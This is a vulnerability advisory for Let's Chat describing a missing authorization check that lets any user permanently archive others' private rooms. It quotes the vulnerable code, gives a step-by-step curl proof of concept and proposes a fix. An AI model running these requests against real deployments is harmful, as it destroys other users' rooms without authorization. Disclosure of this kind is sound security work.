
Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
Assigned CVE ID: CVE-2026-66751
DELETE /rooms/:room performs no authorization check beyond requiring a login. Any account
can archive any room on the server, including private, password protected rooms that the
same account is not allowed to read, join, or modify.
Archiving is how Let's Chat deletes rooms. The room disappears from the room list, direct lookups return 404, and posting messages or uploading files to it is refused. There is no code path in the application that reverses it.
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.3.0 (commit 5b5f46f, 2 Jan 2015, "Rooms are archived, instead of
deleted") through 0.4.8, the final release. No fixed version exists.
Private and password protected rooms arrived in 0.4.0, so the case where an attacker destroys a room whose contents they cannot see applies from 0.4.0 onward. The missing check itself dates from 0.3.0.
Confirmed on 0.4.8 at commit 617207f, and on docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-862: Missing Authorization.
CVSS 4.0 base score 5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
The attacker needs one ordinary user account and network access to the HTTP port. They do
not need to own the room, belong to it, know its password, or hold any elevated role.
Self registration is enabled by default (auth.local.enableRegistration in defaults.yml).
Target selection costs nothing. GET /rooms lists password protected rooms to every user by
design, so the attacker can read the full list of room ids and archive each one in turn.
The route requires a login and resolves the room, and nothing more.
app/controllers/rooms.js:99-109:
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
The handler passes only a room id downstream. It never looks at req.user.
app/controllers/rooms.js:217-232:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
The manager takes no user argument, so it cannot check ownership even in principle.
app/core/rooms.js:123-137:
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
The neighbouring update path does check ownership, which is what makes this look like an
oversight rather than a deliberate choice. app/core/rooms.js:89-91:
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
The client agrees with the stricter reading. media/js/views/room.js:28-31 decides who sees
the edit control, and the Archive Room button sits inside the edit modal that this control
opens:
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
For a password protected room a non owner never sees the button. The restriction exists only in the browser.
Requires rooms.private: true (or LCB_ROOMS_PRIVATE=true) so that private rooms can be
created. The missing check itself applies to every room regardless of that setting.
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
After the request the room is gone from GET /rooms for every user, GET /rooms/:id
returns 404, and messages:create and files:create reject it
(app/core/messages.js:28-30, app/core/files.js:55-57). Nothing in app/ sets archived
back to false, so recovery needs direct database access.
Pass the caller into the manager and check ownership before archiving, matching what
update already does. In app/controllers/rooms.js:217:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
and in app/core/rooms.js:123, after the if (!room) check:
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}